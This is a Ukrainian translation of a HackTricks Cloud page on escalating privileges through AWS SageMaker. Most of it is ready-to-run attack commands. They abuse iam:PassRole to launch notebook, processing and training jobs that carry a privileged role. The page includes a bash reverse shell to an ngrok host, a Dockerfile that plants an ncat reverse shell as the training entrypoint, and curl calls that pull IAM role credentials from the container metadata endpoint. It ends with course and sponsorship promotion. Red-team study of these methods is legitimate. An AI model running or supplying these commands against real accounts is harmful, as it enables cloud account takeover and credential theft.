AWS - Sagemaker Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Почніть створення ноутбука з ролью IAM для доступу до нього:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Відповідь повинна містити поле NotebookInstanceArn, в якому буде міститися ARN новоствореного екземпляру ноутбука. Після цього ми можемо використати API create-presigned-notebook-instance-url для генерації URL, за допомогою якого ми зможемо отримати доступ до екземпляру ноутбука, як тільки він буде готовий:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Перейдіть за посиланням у браузері та клацніть на Open JupyterLab у верхньому правому куті, потім прокрутіть до вкладки "Launcher" та під розділом "Інше" клацніть кнопку "Terminal".

Тепер можливий доступ до метаданих облікових даних ролі IAM.

Потенційний вплив: Підвищення привілеїв до вказаної ролі сервісу sagemaker.

sagemaker:CreatePresignedNotebookInstanceUrl

Якщо на ньому вже запущені Jupyter нотатники і ви можете перелічити їх за допомогою sagemaker:ListNotebookInstances (або виявити їх будь-яким іншим способом). Ви можете створити для них URL, отримати до них доступ та вкрасти облікові дані, як вказано в попередній техніці.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Потенційний вплив: Підвищення привілеїв до ролі сервісу sagemaker, приєднаної.

sagemaker:CreateProcessingJob,iam:PassRole

Атакувальник з цими дозволами може змусити sagemaker виконати обробку завдання з приєднаною до нього роллю sagemaker. Атакувальник може вказати визначення контейнера, який буде запущений в екземплярі облікового запису AWS managed ECS, та викрасти облікові дані приєднаної ролі IAM.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Потенційний вплив: Підвищення привілеїв до вказаної ролі сервісу sagemaker.

sagemaker:CreateTrainingJob, iam:PassRole

Атакуючий з цими дозволами зможе створити навчальне завдання, запустивши довільний контейнер на ньому з прикріпленою роллю. Отже, атакуючий зможе вкрасти облікові дані ролі.

Цей сценарій складніше експлуатувати, ніж попередній, оскільки потрібно створити образ Docker, який буде надсилати оболонку rev або облікові дані безпосередньо атакуючому (ви не можете вказати початкову команду в конфігурації навчального завдання).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Потенційний вплив:** Підвищення привілеїв до вказаної ролі сервісу sagemaker.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Зловмисник з цими дозволами (потенційно) зможе створити **роботу з налаштуванням гіперпараметрів**, **запустити довільний контейнер** на ньому з **прикріпленою роллю**.\
_Я не використовував це через відсутність часу, але виглядає схоже на попередні вразливості, не соромтеся надсилати PR з деталями експлуатації._

# Посилання
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Інші способи підтримки HackTricks:

* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.

</details>

Last updated